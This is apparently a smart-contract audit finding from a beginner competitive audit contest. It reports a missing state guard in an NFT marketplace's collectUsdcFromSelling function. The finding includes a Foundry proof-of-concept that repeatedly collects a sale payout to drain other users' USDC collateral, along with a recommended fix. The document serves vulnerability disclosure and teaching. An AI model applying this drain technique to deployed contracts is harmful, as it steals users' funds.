NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

Missing state guard in `collectUsdcFromSelling` allows unlimited fund drain

Author Revealed upon completion

Description

After a sale completes, the seller calls collectUsdcFromSelling to receive the sale proceeds minus fees, plus their minting collateral. The function should only pay out once per sale.

collectUsdcFromSelling never marks the listing as collected. It checks !listing.isActive but never mutates listing.price, listing.seller, or collateralForMinting[tokenId]. A seller can call it repeatedly, extracting the full payout each time until the contract is drained of all USDC — including other users' collateral.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
// No check for prior collection — no collected flag, no price zeroing
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
// listing.price, listing.seller, collateralForMinting — none zeroed
}

Risk

Likelihood:

  • Every time a seller calls collectUsdcFromSelling after a completed sale, the function pays out the full amount again. There is no state mutation to prevent re-entry on subsequent calls.

  • The self-transfer on line 195 (usdc.safeTransfer(address(this), fees)) is a no-op, so each repeated call also inflates totalFeesCollected without new USDC entering the contract. When the owner calls withdrawFees, it drains from the same shared pool.

Impact:

  • Attacker invests 20 USDC (minting collateral), lists at 25 USDC, gets one buyer, then calls collectUsdcFromSelling 5 times — extracting 223.75 USDC and draining 10 other users' collateral from 200 USDC down to 21.25 USDC.

  • The contract becomes insolvent. Other sellers cannot collect their sale proceeds and minters cannot recover their collateral — all calls revert with ERC20InsufficientBalance.

Proof of Concept

A marketplace with 10 minters holds 200 USDC in collateral. The attacker mints one NFT (20 USDC), lists it at 25 USDC, and gets a single buyer. After the sale, the attacker calls collectUsdcFromSelling in a loop. Each call pays out 44.75 USDC (25 - 0.25 fee + 20 collateral) because the listing data is never cleared. After 5 collections, the attacker has extracted 223.75 USDC from a 20 USDC investment, and the contract is drained from 245 to 21.25 USDC — the other 10 users' collateral is gone.

function test_poc_repeatedCollectionDrain() public {
// 10 users mint NFTs → contract holds 200 USDC in collateral
_populateMarketplace();
​
// Attacker mints NFT #11, lists at 25 USDC
vm.startPrank(attacker);
usdc.approve(address(nftDealers), LOCK_AMOUNT);
nftDealers.mintNft();
nftDealers.list(11, LISTING_PRICE);
vm.stopPrank();
​
// A buyer purchases attacker's NFT
address buyer = makeAddr("buyer");
usdc.mint(buyer, LISTING_PRICE);
vm.startPrank(buyer);
usdc.approve(address(nftDealers), LISTING_PRICE);
nftDealers.buy(11);
vm.stopPrank();
​
// Contract: 220 (11 collaterals) + 25 (sale) = 245 USDC
​
uint256 expectedFee = (uint256(LISTING_PRICE) * 100) / 10_000;
uint256 payoutPerCall = uint256(LISTING_PRICE) - expectedFee + LOCK_AMOUNT;
​
// Drain loop — attacker keeps collecting until contract runs dry
uint256 collections = 0;
while (usdc.balanceOf(address(nftDealers)) >= payoutPerCall) {
vm.prank(attacker);
nftDealers.collectUsdcFromSelling(11);
collections++;
}
​
// Attacker collected 5 times: 5 x 44.75 = 223.75 USDC from a 20 USDC investment
assertEq(collections, 5);
​
// Contract drained from 245 to 21.25 USDC — 10 users' collateral is gone
assertLt(usdc.balanceOf(address(nftDealers)), LOCK_AMOUNT * 10);
}

Recommended Mitigation

Delete the listing after collection. This zeros seller, price, and all other struct fields in one operation. The onlySeller modifier blocks any future call since seller becomes address(0). The collateral mapping is also zeroed to prevent re-extraction on resale. The self-transfer is removed — fees stay in the contract balance and the owner withdraws them via withdrawFees.

function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
+ delete s_listings[_listingId];
+ collateralForMinting[listing.tokenId] = 0;
+
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
- usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!